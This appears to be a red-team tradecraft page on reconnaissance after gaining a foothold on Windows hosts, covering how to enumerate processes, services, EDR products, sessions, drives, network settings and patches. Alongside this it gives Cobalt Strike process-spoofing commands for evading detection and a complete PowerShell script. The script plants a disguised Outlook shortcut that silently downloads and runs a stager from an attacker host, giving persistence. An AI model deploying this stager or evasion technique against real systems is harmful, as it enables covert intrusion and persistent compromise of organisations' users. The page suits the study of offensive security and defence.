Initial Foothold Reconnaissance

What do we do once we land inside a target network?

"So what is the first thing you do when you land on a box?"

Is a common talking point, and I have discussed this on numerous occasions with colleagues and others in the industry. It is a tricky question to answer, and I dont think there is one correct way to go about the initial discovery phase. I think we all do it differently, but I want to share some thoughts on procedures I may carry out when getting that first connection back from a target network.

As other operators are probably familiar, most of the engagements we do are primarily stealth focused, with end objectives to obtain the target's crown jewels. "Crown Jewels" could be sensitive files, databases, intellectual property, user credentials, specific application access, etc.

When you have breached the target, either via phishing, external compromise or other means, this is when the real game begins.

It is possible that each action you take from here on out could be heavily monitored by a defensive team or blue team. Some of the things I like to initially check when landing in this very position are detailed below. I will update this over time.

TLDR;

What Processes are running?
What Services are running?
Existing Parent/Child process trees?
Are we connected to a domain?
Are we on Roaming Profiles?
Is their a system wide proxy?
Who has active sessions on our machine right now?
What drives are mapped to the local machine?
Network configuration?
Windows OS patch list?

What processes are running?

TLDR; Carefully identify what processes are running on the machine you land on, because your next steps are crucial to remaining stealthy.

C:\> tasklist

C:\> wmic process list

PS C:\> Get-Process

beacon> ps

Sounds too simple right? Correct! It is simple, but its the detail from this that can really shape what your next moves are from an operator perspective. What I am really looking for here in this first stage and the next section below is if any EDR or AV products are present on the machine some examples would be :

Windows ATP
Sysmon
Cylance
Carbon Black
Symantec Endpoint Protection
CrowdStrike Falcon
Trend Micro

I have been up against all of the above, and should they be on the machine, we need to heavily change our next steps based on whether any of these packages are present on the machine.

Lets say in a hypothetical scenario that you run tasklist or ps or whatever to list the processes running on the machine:

C:\Users\someuser> tasklist

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0         12 K
Registry                        88 Services                   0     17,832 K
smss.exe                       432 Services                   0         88 K
csrss.exe                      520 Services                   0      1,680 K
wininit.exe                    592 Services                   0         28 K
csrss.exe                      600                            1      1,476 K
winlogon.exe                   676                            1         20 K
services.exe                   728 Services                   0      4,760 K
lsass.exe                      748 Services                   0     11,096 K
svchost.exe                    852 Services                   0     18,920 K
fontdrvhost.exe                872                            1         16 K
fontdrvhost.exe                880 Services                   0        116 K
svchost.exe                    976 Services                   0     11,180 K
dwm.exe                        452                            1      6,076 K
svchost.exe                    504 Services                   0     30,988 K
svchost.exe                    692 Services                   0     13,544 K
svchost.exe                    888 Services                   0     17,984 K
svchost.exe                    420 Services                   0        912 K
svchost.exe                    472 Services                   0        240 K
svchost.exe                   1092 Services                   0     49,268 K
svchost.exe                   1196 Services                   0      9,776 K
svchost.exe                   1420 Services                   0      7,928 K
svchost.exe                   1440 Services                   0     67,452 K
svchost.exe                   1520 Services                   0      1,884 K
bdservicehost.exe             1640 Services                   0     90,004 K
CylanceUI.exe                11332                            1        852 K
WmiPrvSE.exe                 12548 Services                   0      6,432 K
OneDrive.exe                 10856 RDP-Tcp#0                  2      1,512 K
OneDrive.exe                  7484                            1      8,652 K

Spot it ? CylanceUI.exe is in that task list above. What does this mean? It can mean a bunch of things, but here are some thoughts:

Cylance EDR has been deployed across the Active Directory estate, to detect malicious activity.
Cylance EDR has been deployed, however, the configuration is poor, and it may be more forgiving than previous Cylance configurations you may have seen in the past as an operator .
Cylance EDR has been deployed, its configuration is strong, nobody in the blue team is watching for alerts, or the target is not properly aggregating logs from Cylance to a SIEM interface / Cylance interface.

Lets assume,

Cylance is there and its running.
It has a good, well thought out detection configuration
The Blue Team are on top of their game every day of the week watching, waiting and hunting.

This immediately changes your mindset as an operator and you have to choose your next steps carefully.

You could choose to run net user /domain because you want to enumerate domain users, this is calling CreateProcess() and executing the binary net.exe , and this is not including the chain of events that lead up to you actually executing the net command, which can vary depending on your implant or your mode of operation. OR you chose to do it another way via powershell.exe using Get-DomainUser , ignoring however you enabled the user of PowerView , it is possible net.exe or powershell.exe are flagged commands within a strong Cylance configuration and you just burned your operation.

What Services are running?

In addition to the running processes shown above, we are also very interested in what services are configured on the machine. We can paint a pretty good picture of what defensive systems may be in place.

C:\> sc query
C:\> reg query HKLM\System\CurrentControlSet\Services\
C:\> reg query HKLM\System\CurrentControlSet\Services\
C:\> wmic service get DisplayName,Name,PathName,state,startmode /format:list

PS C:\> Get-Service
PS C:\> Get-WmiObject -Class Win32_Service -Property Name,Displayname,PathName,StartMode,State

We can manually review this information for interesting services that we maybe want to exploit, use for a persistence mechanism, identify running software, identify defences such as EDR, AV, Windows ATP etc.

You can further check for existence of EDR, AV by using cobalt plugins such as EDR_Query / AV_Query from harleyQu1nn's great GitHub collection of Aggressor Scripts, and by keeping your own lists of files / services / processes associated with various EDR/AV platforms.

Existing Parent/Child Process trees?

The existing parent / child process tree relationships when you land on a box are interesting to us from a stealth perspective as we can use this knowledge to blend in and increase our operational security. Commonly malware or other malicious activity can be often distinguished by telling factors such as a parent process of WINWORD.exe spawning a process of cmd.exe for a crude example.

If we can see some custom software on the box we land on, that appears to have parent/child processes, we could mimic this behaviour inside our C2 application, such as Cobalt-strike, or any other custom C2 you may be using.

# ppid command to set parent process for sacrifical processes to be spawned under.
beacon> ppid 2186

We also need to look at updating our spawnto process which can also be controlled by Cobalt Strike

# Set x64 spawnto parent to WerFault.exe
beacon> spawnto x64 C:\Windows\System32\WerFault.exe

Are we connected to a Domain?

This is another simple check and seems silly to include it but we are still scoping out our environment... We can also check other simple things if we are on a domain which are not too noisy.

Check the Forest configuration
Check OU Names
Check logonserver
Check all AD DNS Records

Are we on Virtual Desktop Environments / Roaming Profiles?

TLDR; Look for infection / persistence opportunities within Roaming Profile folders of compromised users to ensure persistence between multiple devices.

C:\> echo %HOMESHARE%

PS C:\> [System.Environment]::ExpandEnvironmentVariables("%HOMESHARE%")

A lot of engagements I have been on, the target domain was configured with roaming profiles and virtual desktop environments. This essentially means that the users home folder is stored on a file share within the Domain enabling a familiar and smooth desktop experience across any Domain connected machine. Their documents, preferences, etc can be stored in this roaming profile.

Here is a scenario:

The target you have just gained access to has a policy whereby all users hand in laptop devices at the end of the working day as they are not permitted to be taken off site.

You compromise a basic user named john.doe but you have not escalated privileges or laterally moved across the estate in your first day of access. You have configured a local user persistence mechanism to ensure your payload runs every day at 10:00am hoping that when John is next at work, he turns on his laptop, and your access is restored.

Problem.

Good employee John hands in his laptop at the end of every working day, as per company policy. The next working day, he picks up a new laptop, but different from his previous laptop, as they are shared devices across all employees. This doesn't matter to John, he has his roaming profile, every machine is the same to John.

This is a big problem for the operator. John logs into his new machine and the persistence does not fire, because the persistence mechanism you chose was specific to that laptop, maybe you did a scheduled task as the user John? You have lost your access, until John turns on and logs into THE SAME laptop you initially infected, which in most cases, could be high unlikely before your engagement is over.

What could we have done?

John has various shortcuts on his desktop, such as links (LNK) to applications he regularly uses. His desktop is part of his roaming profile, therefore this would persist between different laptop devices.
We create a malicious LNK file in place of Johns regular applications to ensure that when he executes the shortcut next time on a different laptop, we execute our malware, and then the legitimate application. We now have a much higher chance of our access being restored.

We create the LNK file which starts the Microsoft Outlook binary, and shortly after fetches a malicious PS1 script from our remote attacker host and iex's a stager. The payload we have chosen is irrelevant for the most part, you are not limited to executing powershell, this was just for demonstration.

The screenshot below depicts a very basic example of this

Source code for lnk-ps1.ps1

$c = "Start-Process 'C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE'; iex (New-Object System.Net.Webclient).DownloadString('http://192.168.1.243:8081/maliciousPS1')"
$cmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($c))

$o = New-Object -ComObject WScript.Shell
$lnk = $o.CreateShortcut("c:\Users\mitch\Desktop\outlook.lnk")
$lnk.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$lnk.IconLocation = "C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE"
$lnk.WindowStyle = "7"
$lnk.Arguments = "-nop -sta -w hidden -e $cmd"
$lnk.Save()

Is their a system wide proxy?

One of the first checks I like to do is check if there is a proxy in place. Modern implants are mostly 'proxy aware' such as CobaltStrike's beacon, but the work that goes into this process in the development of the implant is something I would encourage all operators to research into if you have not already.

C:\> reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

beacon> reg query x64 HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings

PS C:\> Get-WMIRegProxy

PS C:\> Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings'

Who has active sessions on our machine right now?

TLDR; Check if there are any other logon sessions on the machine you land on. It might be that there are other domain identities logged into the machine, and they could have elevated privileges, different to the privileges of your current user context.

There are a few different Windows API calls that can be used in this situation if you wanted to write custom tooling. PowerView for example has:

PowerView Command

Windows API

Get-NetSession

netapi32.dll!NetSessionEnum

Get-NetLoggedOn

netapi32.dll!NetWkstaUserEnum

Get-NetRDPSession

wtsapi32.dll!WTSEnumerateSessionsEx

C:\> query user
C:\> query session
C:\> qwinsta

PS C:\> Get-NetLoggedOn
PS C:\> Get-NetSession
PS C:\> Get-NetRDPSession

PS C:\> Get-WmiObject -Class Win32_ComputerSystem | Select-Object UserName

What drives are mapped to the local machine?

This is another simple check but it is often the case the Domain has GPO's configured which mount various shares to Drive letters for users. This could be for employer document shares, file shares for specific user groups to carry out their role etc. This is a good place to start for enumeration of file servers and sensitive information that may be readily available from the user context.

C:\> fsutil fsinfo drives
C:\> wmic logicaldisk get caption

beacon> drives

PS C:\> get-psdrive -psprovider filesystem

Network configuration

We need to check our network configuration as soon as we land on the box as this can also tell us quite a bit of information. For the most part, in an Active Directory environment, most of the networks I see or have seen do contain some level of segregation, but ultimately its still usually possible to communicate between subnets on common windows ports like 139,445,80,443 etc.

One of the things I am looking for here though primarily is to find out whether the target network is utilising any sort of networking configuration that may trip us up such as a VPN, ZScalar or other similar "zero-trust" network models. Some extremely difficult environments I have had experience of in the past were similar to this and common traffic such as SMB, MSRPC was disallowed between most hosts and services if it was not required, this made a lot of enumeration difficult to achieve.

What is our IP Address, Gateway, Subnet Mask, DNS configuration?

The output of this ipconfig will also give us any clues as to whether there are other Network Adaptors in use such as VPN split tunnels, full tunnels, virtual networks etc.

C:\> ipconfig /all

What does our routing table look like?

C:\> route print

PS C:\> Get-NetIPConfiguration -Detailed
PS C:\> Get-NetAdapter

Windows OS patch list

We are obviously very interested in the current patch level of the Operating System and also the OS version itself for privilege escalation purposes.

What version of Windows is running?

C:\> systeminfo
C:\> wmic os get Caption,CSDVersion /value
C:\> ver

Current patch list

C:\> wmic qfe list
C:\> wmic qfe list full /format:table
C:\> wmic qfe list brief

What version of Windows is running?

There are a lot of different ones here, I think it would be helpful to list as many as possible so we have alternatives.

PS C:\> (Get-WMIObject win32_operatingsystem).name
PS C:\> (Get-WMIObject win32_operatingsystem).osarchitecture
PS C:\> [System.Environment]::OSVersion
PS C:\> (Get-ItemProperty -Path c:\windows\system32\hal.dll).VersionInfo.FileVersion
PS C:\> (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").BuildLabEx

Current patch list

PS C:\> Get-HotFix

PreviousRed Teaming NextOverview

Last updated 4 years ago